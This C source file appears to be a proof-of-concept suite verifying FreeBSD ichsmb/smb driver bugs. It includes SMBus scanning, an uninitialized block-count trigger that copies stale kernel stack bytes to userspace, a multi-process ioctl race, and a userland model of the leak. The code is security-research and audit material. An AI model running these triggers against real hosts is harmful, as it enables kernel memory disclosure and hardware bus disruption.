/*
 * df5457_poc.c — pass-2 ichsmb verification suite (run as root in the guest).
 *
 * Modes:
 *   scan              QUICK-scan the bus for live slaves
 *   dev               Get Device ID over SSIF (BWRITE cmd2 -> BREAD cmd3)
 *   uninit            DF-5458: stale-stack byte drives SMB_BREAD's count gate
 *   race <secs>       DF-5459: forked processes share one fd, no serialization
 *   model             DF-5457: model the smb.c SMB_BREAD copyout epilogue
 *
 * Build: cc -O0 -o df5457_poc df5457_poc.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/types.h>
#include "/usr/src/sys/dev/smbus/smb/smb.h"

#define BMC7    0x20            /* smbus-ipmi (SSIF) 7-bit address   */
#define DDC7    0x50            /* i2c-ddc 7-bit address             */
#define S8(a)   ((a) << 1)      /* XMIT_SLVA wants addr<<1 | rw      */

#define SSIF_REQ        2       /* write single-part  */
#define SSIF_RSP        3       /* read single/start  */

static int fd;

static void xbread(int slave7, int cmd, char *rbuf, const char *tag)
{
    struct smbcmd c;
    memset(&c, 0, sizeof(c));
    c.slave  = S8(slave7);
    c.cmd    = cmd;
    c.rbuf   = rbuf;
    c.rcount = 1024;            /* max clamp; final value = min(1024, bcount) */
    errno = 0;
    int rc = ioctl(fd, SMB_BREAD, &c);
    printf("%-34s rc=%2d errno=%2d rcount=%3d data=%02x %02x %02x %02x\n",
        tag, rc, rc ? errno : 0, c.rcount,
        (unsigned char)rbuf[0], (unsigned char)rbuf[1],
        (unsigned char)rbuf[2], (unsigned char)rbuf[3]);
}

static void xwriteb(int slave7, int cmd, char b, const char *tag)
{
    struct smbcmd c;
    memset(&c, 0, sizeof(c));
    c.slave = S8(slave7);
    c.cmd = cmd;
    c.wdata.byte = b;
    errno = 0;
    int rc = ioctl(fd, SMB_WRITEB, &c);
    printf("%-34s rc=%2d errno=%2d\n", tag, rc, rc ? errno : 0);
}

static void xbwrite(int slave7, int cmd, const char *d, int n, const char *tag)
{
    struct smbcmd c;
    char buf[64];
    memset(&c, 0, sizeof(c));
    memcpy(buf, d, n);
    c.slave  = S8(slave7);
    c.cmd    = cmd;
    c.wbuf   = buf;
    c.wcount = n;
    errno = 0;
    int rc = ioctl(fd, SMB_BWRITE, &c);
    printf("%-34s rc=%2d errno=%2d\n", tag, rc, rc ? errno : 0);
}

static void scan(void)
{
    struct smbcmd c;
    int a, hit = 0;
    printf("-- QUICK scan 0x08..0x7a --\n");
    for (a = 0x08; a <= 0x7a; a++) {
        memset(&c, 0, sizeof(c));
        c.slave = S8(a);
        if (ioctl(fd, SMB_QUICK_READ, &c) == 0) {
            printf("  ACK  0x%02x\n", a);
            hit++;
        }
    }
    printf("  (%d live slave(s))\n", hit);
}

static void dev(void)
{
    char out[1024];
    /* Get Device ID: [count=2][netfn 0x06<<2][cmd 0x01] */
    const char req[3] = { 0x02, 0x18, 0x01 };
    printf("-- SSIF Get Device ID (slave 0x%02x) --\n", BMC7);
    xbwrite(BMC7, SSIF_REQ, req, 3, "BWRITE cmd=2 (SSIF req)");
    usleep(150000);
    xbread(BMC7, SSIF_RSP, out, "BREAD  cmd=3 (SSIF rsp)");
}

static void uninit(void)
{
    char out[1024];
    const char req[3] = { 0x02, 0x18, 0x01 };
    int i;

    printf("-- DF-5458: uninitialized bcount gates SMB_BREAD --\n");
    printf("fresh-process BREAD (kernel stack garbage):\n");
    for (i = 0; i < 3; i++)
        xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3");

    printf("dirty the kernel stack with unrelated syscalls "
           "(write/read of 0x10 bytes):\n");
    {
        char tmp[16];
        int fds[2];
        pipe(fds);
        memset(tmp, 0x10, sizeof(tmp));
        write(fds[1], tmp, sizeof(tmp));
        read(fds[0], tmp, sizeof(tmp));
        close(fds[0]); close(fds[1]);
    }
    xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (post-dirty)");

    printf("prime the response, then chain reads "
           "(previous bcount self-perpetuates):\n");
    xbwrite(BMC7, SSIF_REQ, req, 3, "  BWRITE cmd=2 (SSIF req)");
    usleep(150000);
    xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (primed)");
    for (i = 0; i < 3; i++)
        xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (chained)");

    printf("DDC read (QEMU clamps count 0xFF->0) resets slot to 0:\n");
    xbread(DDC7, 0x01, out, "  BREAD slave=0x50 cmd=1");
    xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (after 0)");
    xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (still 0?)");
    xwriteb(DDC7, 0x00, 0x00, "  WRITEB slave=0x50 (depth probe)");
    xbread(BMC7, SSIF_RSP, out, "  BREAD cmd=3 (post WRITEB)");
}

static void race(int secs)
{
    char out[1024];
    const char req[3] = { 0x02, 0x18, 0x01 };
    int i, st, nkids = 4;
    printf("-- DF-5459: %d forked sharers of one fd for %ds --\n", nkids, secs);
    for (i = 0; i < nkids; i++) {
        pid_t p = fork();
        if (p == 0) {
            long ok = 0, err[8] = {0};
            time_t t0 = time(NULL);
            unsigned seed = getpid();
            char ob[1024];
            while (time(NULL) - t0 < secs) {
                struct smbcmd c;
                int rc, e;
                memset(&c, 0, sizeof(c));
                switch (rand_r(&seed) % 3) {
                case 0:
                    c.slave = S8(BMC7);
                    rc = ioctl(fd, SMB_QUICK_READ, &c); e = errno; break;
                case 1:
                    c.slave = S8(BMC7); c.cmd = SSIF_RSP;
                    c.rbuf = ob; c.rcount = 1024;
                    rc = ioctl(fd, SMB_BREAD, &c); e = errno; break;
                default:
                    c.slave = S8(BMC7); c.cmd = SSIF_REQ;
                    c.wbuf = (char *)req; c.wcount = 3;
                    rc = ioctl(fd, SMB_BWRITE, &c); e = errno; break;
                }
                if (rc == 0) ok++;
                else if (e <= 7 && e > 0) err[e]++;
                usleep(1000);
            }
            printf("  child %d: ok=%ld EPERM=%ld ENOENT=%ld EINTR=%ld "
                   "EIO=%ld ENXIO=%ld EAGAIN=%ld\n",
                   getpid(), ok, err[1], err[2], err[4], err[5],
                   err[6], err[7]);
            _exit(0);
        }
    }
    for (i = 0; i < nkids; i++) wait(&st);
    printf("  (parent) all children done\n");
}

static void model(void)
{
    char buf[1024];          /* smbioctl's kernel stack buffer */
    int block_count = 255;   /* slave-supplied, unclamped (ichsmb.c:441) */
    int count_in    = 32;    /* best case: stale byte landed in 1..32 */
    int rcount      = 1024;  /* user (root) requested 1024 -> clamp 1024 */
    int bcount;
    char *ubuf = malloc(1024);

    memset(buf, 0xAA, sizeof(buf));            /* stale kernel stack */
    memcpy(buf, "SLAVEDATA_SLAVEDATA_SLAVEDATA", 32); /* bcopy min(255,32) */
    bcount = block_count;                      /* *count = block_count */
    if (rcount > bcount) rcount = bcount;      /* smb.c:327 */
    memcpy(ubuf, buf, rcount);                 /* copyout buf, rcount */
    printf("-- DF-5457 model of smb.c SMB_BREAD epilogue --\n");
    printf("block_count(slave)=255  count_in(stale byte)=32\n");
    printf("copyout length     = %d\n", rcount);
    printf("initialized bytes  = %d\n", count_in);
    printf("stale-stack bytes  = %d (0xAA pattern reaches userspace)\n",
           rcount - count_in);
    {
        int i, leaked = 0;
        for (i = count_in; i < rcount; i++)
            if ((unsigned char)ubuf[i] == 0xAA) leaked++;
        printf("verified 0xAA in userspace tail: %d bytes\n", leaked);
    }
}

int main(int argc, char **argv)
{
    const char *m = argc > 1 ? argv[1] : "scan";
    fd = open("/dev/smb0", O_RDWR);
    if (fd < 0) { perror("open /dev/smb0"); return 1; }
    if (!strcmp(m, "scan")) scan();
    else if (!strcmp(m, "dev")) dev();
    else if (!strcmp(m, "uninit")) uninit();
    else if (!strcmp(m, "race")) race(argc > 2 ? atoi(argv[2]) : 10);
    else if (!strcmp(m, "model")) model();
    else { fprintf(stderr, "unknown mode %s\n", m); return 2; }
    close(fd);
    return 0;
}
